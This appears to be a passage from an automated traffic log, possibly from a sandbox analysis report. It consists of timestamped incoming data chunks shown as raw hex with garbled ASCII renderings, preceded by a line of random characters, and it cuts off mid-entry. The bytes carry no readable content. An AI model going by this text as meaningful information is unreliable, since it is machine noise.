ar$$DP:&kIl]++!`sH@dz_i7ytkot}X jD`!j'FI) z(hF2FSK%;5&7dKW\#a56-RSD!W9aIwJD'bUHhMJ@}pb
2021-12-28 04:19:41 UTC	1059	IN	Data Raw: 49 71 e4 03 63 86 de da 7b e6 bd 8f 03 a7 55 37 ae c2 98 dd 8a 5c 80 bf 28 26 42 ac fa a6 48 da d7 71 f0 9e eb d0 ca 5c 75 d1 7c d0 c7 6d 93 66 d9 94 2c 7f 4d 0f 34 ee 48 e7 36 1a 2a e2 2e e9 5c 2a a5 af 9e 90 b4 1d 19 7a 46 7b 1a 00 6b 11 cf e1 18 2c c2 ea 87 73 b1 47 19 94 48 29 d4 54 84 5a 78 1a 7f 41 d2 6f 2b 3c d6 52 04 0d 97 b0 70 21 af 39 51 1c 34 00 f2 18 25 f3 7f 5c ad 9a a4 94 f8 57 7e 5e 87 34 09 a5 f3 38 29 ed 64 3a 38 f1 46 df 6e d8 13 0b 0c de c2 4a 31 74 46 26 b5 0a 3b 02 8b a8 2d 74 67 48 d2 e1 a8 c7 6c 58 1a 83 89 9a 98 cb 5a 88 14 33 0a e5 2c 82 3d 5d 8b 4b bf 4a 59 f3 83 f3 47 58 94 a5 d2 e5 98 14 69 b2 15 25 b3 b8 29 db 21 cd 47 aa 54 d3 c0 89 70 65 02 52 4a 37 b0 f3 3c 52 e5 b5 4a 19 d9 a1 bc 50 05 b6 ff 67 51 a8 21 28 c6 0e 86 b3 68 Data Ascii: Iqc{U7\(&BHq\u\|mf,M4H6.\zF{k,sGH)TZxAo+<Rp!9Q4%\W~^48)d:8FnJ1tF&;-tgHlXZ3,=]KJYGXi%)!GTpeRJ7<RJPgQ!(h
2021-12-28 04:19:41 UTC	1061	IN	Data Raw: 02 79 f3 f3 4c 24 81 66 5d ad b0 0a 9e 9e 2b e8 eb 0b 5f 3f b0 1d 39 3a 8f 35 7d c9 00 b1 21 0b 1f 3b 98 0a 7e 01 f1 ce 57 f3 8f 38 d3 a5 53 c8 56 00 71 c6 ff d8 40 fa 7e 02 28 1a 99 94 fa 48 b8 5b 49 40 f3 bb f4 aa 2a a0 59 a7 a3 9f 51 e4 d9 f2 79 1d 64 32 90 9c 42 84 71 7a 7c b1 2a ce 9d 32 f9 4d 0c d8 73 90 c5 70 b1 d2 55 03 8b 13 19 5a eb 5f 03 be c0 05 11 fe 0d f4 68 fc f9 b9 38 16 81 20 9f 2c 89 0c 51 96 e3 0d ba aa f6 0e 4a 7e 9d 1e 5f 19 a7 ea ce 61 44 b9 18 7b 0b fe 9b 34 90 77 7a f3 b7 15 22 c3 3a bd 2c 9a 6f 42 51 65 33 6b 0d af 9e f9 13 b4 03 41 61 37 c4 78 09 8e aa de 96 71 48 fd bf 9a 46 78 21 7e 97 84 71 3e c2 11 6e 1d 75 cd 78 95 a0 31 34 73 45 76 df bb c5 e7 25 47 20 48 ae 58 d8 12 07 67 a6 f3 e6 35 75 72 73 e8 a1 07 7f 87 17 89 7c 1f e1 Data Ascii: yL$f]+_?9:5}!;~W8SVq@~(H[I@YQyd2Bqz\|2MspUZ_h8 ,QJ~_aD{4wz":,oBQe3kAa7xqHFx!~q>nux14sEv%G HXg5urs\|
2021-12-28 04:19:41 UTC	1062	IN	Data Raw: ef 4d 31 38 30 2a 23 2d 87 fa a1 27 6c 87 67 91 18 66 e3 5d 51 0a 26 28 0c 72 71 44 ec 49 92 b7 17 35 0c 0e 50 79 a5 15 b5 e2 fd 9e 1e 7c c7 c0 7b 41 b1 95 99 9b c4 e6 eb 89 8f 7b 06 53 02 45 da 86 e2 ac 58 f2 19 c9 ee c8 84 7f 5f 19 6e 85 f7 5a a3 5d b4 38 4b 45 3e 92 c6 53 75 ed cc 6b 6a 97 91 3f 5d 62 b7 07 f5 11 ab ce 69 30 a3 7b 85 41 c0 74 a5 2f 71 7e 44 d1 ca 35 06 59 5d 01 c4 f7 a8 68 24 35 04 99 08 0f 67 ec ff 91 35 5d a0 6f 90 f4 0f f3 a9 86 19 e5 1c 43 47 22 56 c8 92 7e 8f 0f 40 0d 70 e0 aa 70 01 91 aa 3a 80 32 42 9e 17 ae 5a bf e7 e0 ad c1 55 c0 06 4e 36 29 5a 13 1e bf 8e 2e fc 2e 13 77 f5 d1 4c ac e2 29 c8 72 5a 9d 48 a1 69 96 9d f3 10 e7 53 57 b8 aa b6 5d 28 ab b8 63 c5 62 d6 e2 4f ec 97 12 ac 4a 4c 1f 6e bc 31 41 8d e5 e0 c2 9b d5 06 0b 15 Data Ascii: M180*#-'lgf]Q&(rqDI5Py\|{A{SEX_nZ]8KE>Sukj?]bi0{At/q~D5Y]h$5g5]oCG"V~@pp:2BZUN6)Z..wL)rZHiSW](cbOJLn1A
2021-12-28 04:19:41 UTC	1063	IN	Data Raw: 55 55 16 01 a4 1e 9f 11 0c 63 59 69 91 55 02 10 35 c1 53 f9 49 06 3c 73 e0 ab 64 ba fc 52 54 8c d6 d8 6e 01 f3 e1 c2 bd ff 42 6b 29 da c8 97 a7 5a a5 c6 e9 e1 70 c4 e7 a4 e3 50 55 e7 5a 99 9c a4 7f 10 91 10 96 41 eb b0 5f e0 44 8f 5f 3d ef cc 8a c2 db 5c d7 8b f9 82 75 8b e1 11 c0 e3 0c 66 79 1a 89 61 10 a1 f0 1f f7 3d 18 26 94 37 41 40 1a 92 80 06 d7 e6 90 87 ae 7e 1a c4 0a 6e 04 21 be 5e 53 08 d6 d8 bb e9 75 69 a4 6a c7 fa 75 7b 41 1a 6d 43 3f f1 e3 eb 7f 89 fe 63 43 d5 a7 03 55 5b f2 2e b6 48 0b f9 54 04 5b 5c c6 21 9e 39 b0 41 b7 f0 ea 5b 3d b3 d6 5a 6d bf e7 a0 b0 de 63 8a b8 c2 df 2a cb a3 a0 d8 91 3d 09 94 8f 39 ad a6 de 03 c2 3b 1a f3 d3 99 24 c2 de 47 85 60 e0 21 7a 8c 2c 0a 34 b2 63 d2 36 e5 d9 4b 48 0c 3b a2 21 8e 05 3b 50 66 99 5d 8a 89 51 42 Data Ascii: UUcYiU5SI<sdRTnBk)ZpPUZA_D_=\ufya=&7A@~n!^Suiju{AmC?cCU[.HT[\!9A[=Zmc*=9;$G`!z,4c6KH;!;Pf]QB
2021-12-28 04:19:41 UTC	1065	IN	Data Raw: ce 1b 58 e6 ca 51 85 a1 5c 16 c1 95 91 1c 9d bd 56 63 b7 f5 3e 8e 39 b5 4a 79 51 bf e0 e3 60 4b 57 77 e3 8c 04 35 13 10 a2 71 e5 5d e0 5b 16 3c 30 bf 3a f7 65 6f c4 85 55 e9 0d 8f a7 06 6b 1f 90 64 07 1a d1 6e 2e 57 22 c1 76 17 9c 7a f9 98 8e 48 b9 f8 02 3e f5 72 eb 1a 92 02 1b ae b3 77 12 82 3a 58 b6 0f c2 3c 80 42 64 69 4c b8 d2 55 dc 21 84 5c 0c f0 76 ad 9a 96 53 73 be fb bf 08 79 29 34 a0 49 c5 6c fd 6f dd ba 02 a8 66 59 78 00 28 ce c8 92 0c 20 27 e6 9e 2c 26 cb c0 de 83 6e c6 72 43 29 c1 a2 9a bf e8 73 50 e2 33 b3 22 f5 cb fc 03 5c 9e 15 a0 7b 55 05 66 30 a5 3b 98 5e 37 95 29 09 d8 d0 85 39 e5 e4 8a cd d1 29 d9 54 cb dd 6e cd 3f 77 98 29 30 f3 a5 e8 8b d8 15 08 1c 17 1c 85 cb 36 83 63 0d f7 dd dd 7a 30 ea fc eb 38 7c 90 31 bf a3 61 be 23 9e dd b2 e9 Data Ascii: XQ\Vc>9JyQ`KWw5q][<0:eoUkdn.W"vzH>rw:X<BdiLU!\vSsy)4IlofYx( ',&nrC)sP3"\{Uf0;^7)9)Tn?w)06cz08\|1a#
2021-12-28 04:19:41 UTC	1066	IN	Data Raw: 08 02 f4 b0 89 2d 99 21 ee f4 20 27 6d 32 c9 54 ed 0d 3e 26 0f 11 63 17 d7 7d 21 a8 e7 f1 99 4f 39 6b cf 5a 0c 24 cd 0c d3 f2 a4 d9 8f da 45 bf 79 1a 41 26 42 40 89 4c 5d 11 bf a5 34 a4 ed 83 88 20 98 31 1c e9 ac fb 17 23 1f 79 3d 24 2d 13 9c f0 d5 17 28 da 33 03 4d 26 5e b6 56 f1 b2 e2 96 5c f2 60 5b d3 43 04 df 42 56 27 1e cc f1 d6 46 fe a3 2d 41 8b de c9 8a 52 37 82 26 03 a6 ae de f1 fc 6d 62 7c 59 3a ef 8c 4f 94 f3 78 ba 63 7d 74 9b 16 01 3a 39 91 e2 fc 90 de ab 78 05 b1 89 42 d5 cd a3 1a 36 c8 60 53 e2 f1 21 93 df fe f1 d1 fa 75 bd 0a 51 79 62 43 ec 8a 2c 52 b4 d9 80 83 5b 98 f8 2f 27 a3 82 1d b0 dd ea e5 bb b2 15 b3 24 0a 70 ef 11 34 82 9c f5 e4 69 dd fe 51 02 28 be 86 49 97 8b 70 1e 2d 23 b1 8e 92 8f ff f9 39 93 4d 3f 97 d8 da 0f 5d a1 75 9c 4b 86 Data Ascii: -! 'm2T>&c}!O9kZ$EyA&B@L]4 1#y=$-(3M&^V\`[CBV'F-AR7&mb\|Y:Oxc}t:9xB6`S!uQybC,R[/'$p4iQ(Ip-#9M?]uK
2021-12-28 04:19:41 UTC	1067	IN	Data Raw: bc 17 25 af fc 1a 32 95 35 e9 92 66 d2 b8 ca 84 5c 05 5a 26 e6 1b 07 62 dc a3 39 47 35 5f aa 52 79 b6 3e ae a0 7a ea 90 01 5d 95 1d 86 c0 e9 9e a8 4c 72 0b 00 34 ee 56 0b 2b c7 7f b1 d8 cc 6d 96 af 2a f7 cd 7f 85 f9 13 70 11 dd 11 7f 8c 53 2d 5c aa a4 c5 d7 73 3e b6 7d b0 12 a9 98 31 d3 96 9e e8 69 10 1c 69 02 ad 37 04 97 38 d7 1b 1d 4a 43 28 fd 57 2f 21 b1 f8 da 56 76 dc 4d cd 7c 2a 49 4b 5f 57 68 08 b9 73 7f ff 4e d2 25 d4 07 84 69 16 00 12 83 94 6b 6c f7 a1 1f 4c 92 0e 00 8b 7f ef 9a 64 0d 0e 3a 42 8d 19 cf e3 e6 d2 a1 f6 ee ab 48 8e 4e 9b b4 f9 e6 c3 1b 23 ce 68 f9 8d 6a 69 d7 34 7f 24 bb 6b 87 d2 f8 d3 e0 8c 6e d2 90 86 7c bc 45 11 9d 70 5d 1f a8 d5 f5 65 0b d9 b6 8a 26 ca 8f 80 f6 91 78 49 f3 5b 14 f6 94 a0 f7 c1 c7 f6 ad d1 ba 57 8b de 65 46 60 16 Data Ascii: %25f\Z&b9G5_Ry>z]Lr4V+mpS-\s>}1ii78JC(W/!VvM\|IK_WhsN%iklLd:BHN#hji4$kn\|Ep]e&xI[WeF`
2021-12-28 04:19:41 UTC	1069	IN	Data Raw: be 1e 63 7c 04 5a cc 70 b0 74 a9 dc 5c d2 bd eb a0 a3 4d 30 1c 3c 0f f1 5d a2 43 a7 f2 13 9f e4 07 47 71 9c d1 45 87 06 b4 94 88 f1 ff 27 07 e8 2f 4b 01 df cd 2e cb 72 34 ae 93 55 3a 15 f5 cc a0 41 74 81 c2 d7 68 12 a9 64 bd 6f 94 44 b8 19 43 1b 94 1c 8d 31 51 2d 23 33 92 f5 45 4a e8 6d e3 74 78 f2 35 a6 48 4c 39 fb c9 e9 ae 50 df 72 b0 e4 d0 d1 4a 8c a3 72 e7 55 e1 ca 6b 5b 58 b9 7a 68 f9 59 ab 45 d3 98 f5 f2 5c 22 cd 89 aa a7 49 99 0d c3 e0 7f dd ea 8d f0 31 d2 54 46 46 9f bc d5 90 c6 a7 93 04 74 32 79 c8 85 41 1f f6 97 87 1e c0 9c e5 63 7c f2 4e 65 f5 90 82 bf 03 3a e4 cc 07 e8 d6 1a 9e 65 14 43 a4 c9 38 a7 d4 84 1c f8 ba d0 eb 99 41 2c 92 21 2b 1a d8 3d be e0 a9 5b f5 f8 75 c1 1b a2 b1 c5 e6 db e8 f1 9a c0 1b dc e2 47 ac 37 43 03 c9 c2 59 1e bf 99 3f Data Ascii: c\|Zpt\M0<]CGqE'/K.r4U:AthdoDC1Q-#3EJmtx5HL9PrJrUk[XzhYE\"I1TFFt2yAc\|Ne:eC8A,!+=[uG7CY?
2021-12-28 04:19:41 UTC	1070	IN	Data Raw: 81 74 27 a9 bd 42 73 95 53 42 88 39 e7 8f da 9c 37 9e 64 09 7b fc ca 77 3a 55 c8 98 d9 8d 8d 84 83 1b 27 10 4d 6d f6 30 1d d4 21 2c 4c ab c0 e2 18 3e 6c af 51 8c 34 d0 4d e0 94 20 98 05 34 b0 45 19 98 59 0a b5 85 57 46 0c 18 e2 9e 4f f1 01 5a 74 13 cf 5a 95 25 97 7a 3b 65 c6 7c a2 a1 c6 04 f6 dd 99 15 cc 89 ee 8c 1f 76 a0 86 06 04 b4 ed d3 98 d0 3e fb de 88 1a 0f 73 1f b3 fa 00 81 2d e9 32 98 c2 62 bc db 6b 28 9f 82 3f ed e2 b7 6c 4f aa fb 3b d5 80 24 27 17 f0 a3 88 55 05 f2 3c c8 a8 da 1f bc a6 21 42 98 93 24 d9 4b 32 db d8 7a 25 79 43 b2 da 35 9e c7 40 18 6c 35 41 bd db 68 ff 41 53 f3 15 61 d2 db 94 7d 03 ba 44 9b a0 ca e9 ae 98 c0 34 69 41 f4 94 a9 90 9c b7 7b ce 0c 42 1f 6b ea 7e ce 63 32 79 f0 bd 48 61 60 7f 8b c9 24 f3 5e 1a aa fe 72 02 9d 95 cd 4e Data Ascii: t'BsSB97d{w:U'Mm0!,L>lQ4M 4EYWFOZtZ%z;e\|v>s-2bk(?lO;$'U<!B$K2z%yC5@l5AhASa}D4iA{Bk~c2yHa`$^rN
2021-12-28 04:19:41 UTC	1071	IN	Data Raw: f3 ab 25 88 b0 75 d2 4f aa bc c7 e6 a8 cc 19 03 f1 c9 e4 fe f4 86 4f 4d 6a 84 49 ad 5f 41 7e 7c 6c be 92 85 3a 25 39 88 94 49 ee 66 d1 99 ad 9d 67 b6 18 b9 56 54 c8 7e d8 ca 27 2a 1b 85 36 55 d5 32 07 5e cc 7b 41 b2 8d 78 0e fd 55 31 9a 77 ef d6 0e dd e0 d6 37 c0 aa 51 58 89 84 36 c1 6c 22 f6 9b b3 ff ec bb d0 11 09 8a 45 fd 06 26 ed d2 97 53 ad 0c 43 97 f6 be 7a 24 c6 6e 8f 97 31 9b fb cb 82 1a 90 dc d3 cc 94 a4 39 2a ba ab 12 c7 a4 ff 16 55 f1 5d 7e 0c 0a e9 db 1f 43 52 d7 b0 12 ea 59 46 3b a9 ee a3 81 ee 1b ac 82 bb 93 d5 ce d8 8c 9e 15 d4 18 4c a4 32 3f ce dc 5b b4 3b 82 f7 f1 1e 85 dd ca 78 6d c0 7e c3 03 0c e0 b5 f6 fc 77 30 d4 a1 cd be 1f 75 eb 98 68 f4 45 94 4d b0 70 de c0 ea aa 59 1f d2 92 bb f9 f6 22 3e 2b 81 32 2e f0 27 66 5b 6a 5d 3b 74 48 85 Data Ascii: %uOOMjI_A~\|l:%9IfgVT~'6U2^{AxU1w7QX6l"E&SCz$n19U]~CRYF;L2?[;xm~w0uhEMpY">+2.'f[j];tH
2021-12-28 04:19:41 UTC	1073	IN	Data Raw: 52 b7 32 8a 2d d3 70 d0 91 ac cb 52 08 7f 7d 01 93 f1 a7 f3 8d f0 4f ee 4b 80 9e 4f 25 df 8a 93 52 e1 ef ab 69 c7 dc 45 1b 7e 21 9f 30 8e 33 f3 c5 83 77 89 8e 21 b2 00 f3 86 82 fc cc 3b 92 2b 34 a8 b1 fd b4 8f 2b 4c fe bb f7 7a 46 6d ee 22 66 0d eb 99 44 6d 7e 75 6e 33 da 04 ba c1 da f1 a5 a3 14 fb 4f 05 57 b1 3e 36 d9 5e 97 77 4f fa 49 9f b0 4a 4a b4 96 f4 5c 86 00 e9 1f f9 c3 63 7c 43 53 59 fd 94 9e 59 f5 34 d0 ed 59 ce 93 dc 97 55 cb c8 78 0e 08 56 45 8e cc 63 28 07 03 af fd fb 72 f7 af 8e aa cc 0f a8 d7 75 08 5b 73 8f 2f ad 1b 53 f3 7a 36 9b c5 89 44 f9 ff c7 1b 47 d5 18 f2 61 52 74 5b c5 96 0a 85 b6 33 0a cf ed 03 56 61 85 55 ed c4 c0 0f 01 89 8f 46 1d 32 e8 fc cc bc 43 93 01 4b ec fa 15 7f 18 2d d4 43 b5 fa 0e 71 76 80 91 a1 45 78 dd cd be e7 26 a1 Data Ascii: R2-pR}OKO%RiE~!03w!;+4+LzFm"fDm~un3OW>6^wOIJJ\c\|CSYY4YUxVEc(ru[s/Sz6DGaRt[3VaUF2CK-CqvEx&
2021-12-28 04:19:41 UTC	1074	IN	Data Raw: 61 32 df cf dc 9c 80 87 a7 05 84 95 3e 71 92 79 47 ce 64 6a 97 94 8c 78 e6 f6 cb 73 f5 6e e8 2b 19 04 55 57 c0 91 53 80 4f 89 c9 90 64 68 e0 bb 9c eb c5 00 35 a1 b7 ff 93 40 2c bb ea c2 66 57 22 0f f2 06 83 61 37 88 a0 19 c6 17 7f 98 79 03 5d dc a4 01 25 d7 31 eb a0 c7 bc 64 9e 07 f4 e3 26 2a 31 0b c2 5e e2 53 f7 02 de 63 1e 68 71 e4 ef a6 9a 39 61 92 3d 0b bf d0 24 bd 7c dc 6f 62 49 37 87 0f ec dc bd 95 1b fd 89 03 ea 5d b9 28 a8 8a 70 63 71 3f 1e 69 ad fd 70 c1 f8 a0 2c 4e f7 a0 84 95 67 d5 a1 2e 52 6d 3f 0e be c9 84 b5 ad 26 38 e8 48 65 00 48 d5 c4 61 b4 4e 3d 26 c2 13 3f ba 9d 9d dc e8 ea 41 18 16 c2 f6 b2 39 aa b9 fd e9 3b 42 ff be 32 67 2c f7 73 e9 ba 45 31 4c 0e ff df 05 10 04 0c 47 60 ad 58 f8 b7 85 84 b4 17 f7 4b e8 df 1d 56 ce a3 d6 95 07 66 17 Data Ascii: a2>qyGdjxsn+UWSOdh5@,fW"a7y]%1d&*1^Schq9a=$\|obI7](pcq?ip,Ng.Rm?&8HeHaN=&?A9;B2g,sE1LG`XKVf
2021-12-28 04:19:41 UTC	1075	IN	Data Raw: c5 3b 36 0d 95 c6 70 77 4f 6b ed 20 97 fa d5 6e 86 8b 58 1a ac 13 de 2a 2a 0d 69 a9 50 6d a4 fd 20 33 0e 6f 97 45 27 be 36 0e 07 43 cd e8 06 35 4b 87 24 86 b6 5f 71 69 96 d1 86 6b 07 77 2a b1 6c 07 bc 3e f6 b8 d9 8b c9 48 b2 66 df 18 f0 7a 48 79 27 97 fa ea 31 dd db 4a b7 39 c0 dd 52 46 b2 bb 95 54 dd 9f 16 cb e7 d6 48 69 0d 6b 03 c6 eb 03 65 0c d5 bc 24 fb c9 2e dd 6c f4 4b a3 fb bb ae 4c 52 73 7b c3 6c 4e 19 a3 b7 15 22 3a f4 ec ca 8a 09 56 12 ff a6 19 7b 30 d8 3a 5f 6d 64 a6 9d b3 c2 91 b3 29 0a 6f 79 d5 4a cb 8e ba 36 6b bb d7 ec d6 78 f9 cc e4 80 f7 bc 5e e8 b8 4c f6 72 f3 2a 53 f4 ab 36 68 9a 00 0a ee da 55 53 77 d3 93 a2 44 db d6 7b 2e eb ec 76 13 c3 fb bf 12 51 7a d6 99 0f 27 ee 86 27 05 7e 80 cd b9 43 ea 18 65 3d f0 b2 78 0e 5e 4e c5 18 ff 12 d1 Data Ascii: ;6pwOk nX*iPm 3oE'6C5K$_qikwl>HfzHy'1J9RFTHike$.lKLRs{lN":V{0:_md)oyJ6kx^Lr*S6hUSwD{.vQz''~Ce=x^N
2021-12-28 04:19:41 UTC	1077	IN	Data Raw: 5c 27 3d 23 db 45 12 47 0b 08 52 a6 54 8d 1d a6 7b 40 be 05 f3 ae 0a 8f a5 e0 bc 37 8d 43 f4 61 0d 2a 6e 2e b4 c3 14 cb 1e 85 ac d3 8a 32 84 5c 2f 7e ba 2a 1a 9c 87 f4 03 94 dc 2b 4d d2 85 08 75 e9 ae 6e 46 cb 54 db 68 cd d5 2c a5 f3 bc af 73 41 b3 88 f3 0e 25 02 72 fb b3 1f 39 cd 49 67 4a 7b 15 d5 10 f0 88 ab fe 0b 21 66 cf d8 01 dd 0e 0d 56 4c 98 ac a2 12 f0 e8 74 cc 7c 97 8e 93 b9 03 f1 d7 84 97 f8 19 76 65 36 8f 34 9a 16 24 db d4 d5 74 5a 65 e9 c8 af 17 b1 8f c2 86 a4 ca e2 d2 fa e2 f5 dc 45 b2 6c 45 05 62 05 96 03 11 e9 bb 2c 2e 18 1a d5 e3 eb 4c 78 54 6d c6 24 1a 69 9c a8 dd b6 6a 3d 75 4b 19 3f 56 b3 a4 98 3b f6 10 67 e1 2a 7c db 64 7c 11 0a ee f4 84 c8 7e 5a 1c ef ee 6c 72 32 e6 f0 17 83 e4 0c ab 03 ee 81 34 8c bc 58 d6 a6 c9 d0 93 33 3f e4 7d 73 Data Ascii: \'=#EGRT{@7Can.2\/~+MunFTh,sA%r9IgJ{!fVLt\|ve64$tZeElEb,.LxTm$ij=uK?V;g*\|d\|~Zlr24X3?}s
2021-12-28 04:19:41 UTC	1078	IN	Data Raw: 35 4b e4 2d 0d 75 a2 34 b3 f6 a2 d0 a0 f3 be c3 5e 3e 38 0b 19 58 14 d8 51 f5 00 de 1b 96 ab 37 ef 12 6f 5b 0d d9 7d 74 9e 09 7a 21 2d aa 3a a2 83 b2 01 95 e0 49 65 40 27 8e 4e c1 48 7b e9 3a e4 84 8b e4 24 7a 79 e0 c8 46 b9 16 4d a1 4f 60 e5 93 ca 79 23 33 61 3e ad 36 14 01 e7 ee 59 92 36 c3 06 c3 c8 49 8f 7f 9e ec 19 c9 d1 0f 2a d5 59 fb 2a c6 dd 6a b1 63 f6 38 cb d4 68 9b da 3d a0 d0 45 c6 d1 89 33 0e ba 64 29 36 cb c0 c3 e8 8e ff 2c df 64 39 1d 83 ba c8 ee ef e1 6a 1a 12 ec 71 90 bf d2 92 fa 0b 09 17 25 da 7f a9 a2 47 3e 99 ce 38 a9 ad f8 d1 60 06 ce 74 ab 80 22 ea 74 5f b9 11 8d 0f 81 24 06 50 af e7 8f d8 c3 89 b2 bb 2b 20 44 21 e0 ad 22 03 68 19 c0 97 ed 7b a4 a3 01 4b 69 be 8c 52 05 de 3a 89 8b b7 c2 3f 40 fd 00 2c cc ce b6 b0 85 ec 1c 33 be c2 48 Data Ascii: 5K-u4^>8XQ7o[}tz!-:Ie@'NH{:$zyFMO`y#3a>6Y6IYjc8h=E3d)6,d9jq%G>8`t"t_$P+ D!"h{KiR:?@,3H
2021-12-28 04:19:41 UTC	1079	IN	Data Raw: 83 fa 4c 37 52 f9 2c 3c a8 92 05 8b c3 e2 6a f8 dd d8 d3 de 4e 01 cb ed fb 56 64 80 49 e3 10 76 fe 8d 37 7b 7e 9e 48 19 e8 43 c9 83 ea c1 e0 81 be d6 b1 83 84 79 41 45 f2 c2 af 01 3a 50 de 13 76 03 d7 d9 ad f4 69 81 86 a0 ea 86 3a 07 52 b9 79 0d 3d db e7 66 67 26 ed 43 9a ec 8b 48 87 61 01 4d b6 19 46 11 8b e5 ca f2 d8 de 00 fe fc 78 e0 d2 60 5e 65 90 ec 1a dd 75 f7 a4 b5 0a 61 20 d1 7f f3 93 99 68 c7 59 2d c3 78 8c c2 81 70 89 9b 78 fd a7 a2 26 2c 75 ad d2 8d 40 c7 1e f2 d5 b9 70 c6 76 66 c8 63 36 3e 32 0a 02 1d 2a 49 a6 df 8b 04 77 08 46 94 e3 ff 59 5f 88 e5 06 1a f6 26 59 21 13 ff 32 f2 be 3c 14 af df 38 0a 9c 4e bc 04 7f 98 c2 8d 97 2d d3 a5 b1 77 96 9b bf 14 71 55 16 68 eb 1a 3d 6e 30 99 cb 9d 96 fd 9f 6c 9a 07 ab 30 bd 8f 29 d9 c9 c8 14 3e 46 99 a3 Data Ascii: L7R,<jNVdIv7{~HCyAE:Pvi:Ry=fg&CHaMFx`^eua hY-xpx&,u@pvfc6>2*IwFY_&Y!2<8N-wqUh=n0l0)>F
2021-12-28 04:19:41 UTC	1081	IN	Data Raw: 8d 66 21 32 c2 a1 36 ef b0 4e dc 16 ed 76 13 c5 88 01 4f a7 0b 7e 96 4a 2d 03 93 2f 13 97 bf 66 08 20 c5 69 e0 f9 b5 9a 2a 6d 85 a0 4e 2a 0f b1 b8 4f f7 ca 0c 33 a4 f3 e4 91 89 51 b3 f0 82 59 df 7f 6e ce 10 d3 81 c5 0f f0 8a e7 b1 7c 29 26 33 ae 16 6a b2 73 d9 c3 d2 4e 7a 86 55 99 bb c7 2e ef 71 bc 98 33 79 aa 02 70 84 3a a2 e9 ba 9b b8 13 64 0a 6c c5 f2 59 a5 3b 5e c7 3f e2 40 c7 ab f1 35 19 d6 05 4a 84 6a dd ef b0 85 08 de 10 62 f1 b9 7f 8a 66 e5 d0 d7 c0 a3 15 21 38 db 8c 23 06 da 81 29 f0 4f f7 07 e6 1e 13 0b 83 06 ec d8 31 2d d8 ff d2 d5 9d c2 8e 07 fa f3 a5 0f dd a8 4b b3 32 8b b9 e3 db 57 50 56 3c 36 05 da 9b 06 57 12 23 1a 08 fb 9a 5f e0 a3 6a 1e ac ad ea 7d 61 06 64 ae f2 fd 36 c7 9a 6b 77 43 eb bd 79 e9 48 62 4f 4a 07 20 73 ea 85 4d 38 67 83 7e Data Ascii: f!26NvO~J-/f imNO3QYn\|)&3jsNzU.q3yp:dlY;^?@5Jjbf!8#)O1-K2WPV<6W#_j}ad6kwCyHbOJ sM8g~
2021-12-28 04:19:41 UTC	1082	IN	Data Raw: 70 ba 14 6e 1d 44 2a c7 76 7b 31 82 75 99 7c 16 2a 23 8b e8 f3 4e 7b bd e0 87 7a eb 23 6a 8d 62 a3 49 9f 50 69 dd cf 63 92 48 57 4a 76 18 1d 18 0c fa b4 3d 37 a1 d5 b8 35 cb c5 0c c7 b8 45 7c d6 93 ed c4 26 97 7e b6 7f 2c d6 f6 1c 28 d7 98 e2 6a 58 58 14 73 6d 9a f6 5b 6f 67 84 1a ec 55 76 3d 90 0c f7 95 81 58 99 c4 fd f7 a4 a9 4c 1f 4b ae dc 98 bc 19 91 82 eb 54 63 2c ae 60 e7 2a da 7d fb 34 44 8b 6a 26 20 b3 a7 78 82 35 e0 3e cf 9d ee 8c ad 99 49 fd 22 b7 af f8 f9 61 c7 15 34 50 fb 90 be 18 fd 65 47 a8 fd dc 42 cb a9 53 6c f7 cf cb a8 5f 48 f9 ac 37 7c 86 3b fb ad ed b7 f3 c8 22 c9 c6 8b 42 26 2f 02 0e 83 1c 1f 99 23 38 bc 06 89 c6 a1 ef 2c f3 80 55 c5 4b 25 04 1d ca 31 fd 2d 06 aa ab 80 dd 2f 5f c0 d9 70 18 e0 89 dd 69 05 49 4f c4 e1 e7 3c bb 16 2f 97 Data Ascii: pnDv{1u\|#N{z#jbIPicHWJv=75E\|&~,(jXXsm[ogUv=XLKTc,`*}4Dj& x5>I"a4PeGBSl_H7\|;"B&/#8,UK%1-/_piIO</
2021-12-28 04:19:41 UTC	1083	IN	Data Raw: c2 79 9e 09 fc 57 45 28 29 c5 7d 2f 4f 8c a8 ca 88 11 18 c9 fa 6a c8 66 65 13 09 40 9e 11 a3 c0 57 96 7a 95 5f 10 24 e1 3a 55 12 07 6d cf 8b ad 99 16 23 6c fd b1 48 3a 46 ad cb 95 c5 6d cb 93 45 f1 1b c8 0d a0 44 cb 50 ee ff d9 8b 8f 26 56 c1 27 e4 4a ef ee 2b 6f 9d 4a 08 69 31 57 46 68 52 e0 66 a4 58 4d 21 a6 91 0c ef 5b c2 f4 bc 3b d6 87 93 b7 1a b6 dc 58 86 5b 14 46 b7 20 15 01 b9 df 80 9c 66 6e b7 1f 17 94 74 08 8f 20 01 01 76 1b 01 79 d0 89 3a 26 39 30 a2 4e 9c fe b5 03 73 57 33 58 3e fd 9b 06 84 c9 8a f7 db 40 98 7b d3 01 d6 bc 78 1c 6a 2f 53 7d e9 78 74 69 94 fa b5 55 df 07 e1 9b f8 e0 7b 2c 42 48 d6 d8 fc f3 fa ba d4 1c cd 17 34 73 e0 e8 8c 4c 5f 77 4a 94 4b c7 eb aa c0 01 28 41 be 27 d4 50 ab 3e d8 a0 84 b5 df 00 73 5e 15 b8 4b 0e 87 96 97 1e 47 Data Ascii: yWE()}/Ojfe@Wz_$:Um#lH:FmEDP&V'J+oJi1WFhRfXM![;X[F fnt vy:&90NsW3X>@{xj/S}xtiU{,BH4sL_wJK(A'P>s^KG
2021-12-28 04:19:41 UTC	1084	IN	Data Raw: df 66 51 8d 76 04 cc 6d 9b 6a a6 7e b3 b7 78 c5 6b fa 75 1a 67 d9 7e 16 a8 b0 55 80 8d a8 e6 26 b3 90 f9 c3 7e 99 e1 82 2a 6e 3f 4f bf ec ea ff 0a e9 49 df 54 dd 91 e4 82 38 89 76 4e b6 5c f7 db 07 03 59 b9 fb 7f 92 fc 31 72 94 d5 f1 57 73 51 a9 52 77 9a 3d 71 5c 44 cc cc e5 d9 11 ed 99 45 b1 58 62 7b 3f ed 2a 52 2e 8d 53 d6 bd 2f a1 9e bd 01 c0 e4 db 4a 00 7b 8e a7 44 98 75 75 24 9e 4b b4 b7 d5 bb a9 99 a8 fd 21 bf 70 45 ba c5 86 da 8c 2b 92 f1 0e e2 2b b0 c4 cf 7e 46 c8 5e aa 75 4d 7f 03 94 0e fc 6d c4 e7 85 29 c4 f8 20 00 3c ff 9e c3 3e 1d a6 da 9c 9c 2f fb fd 3e c2 a3 94 77 53 07 87 60 ba 75 91 23 3a 75 d7 a4 5c 41 d3 b4 d3 d8 c7 39 fd 15 fb 88 44 48 f7 bb cd 11 f3 78 31 04 55 61 95 e5 8d b7 ef 48 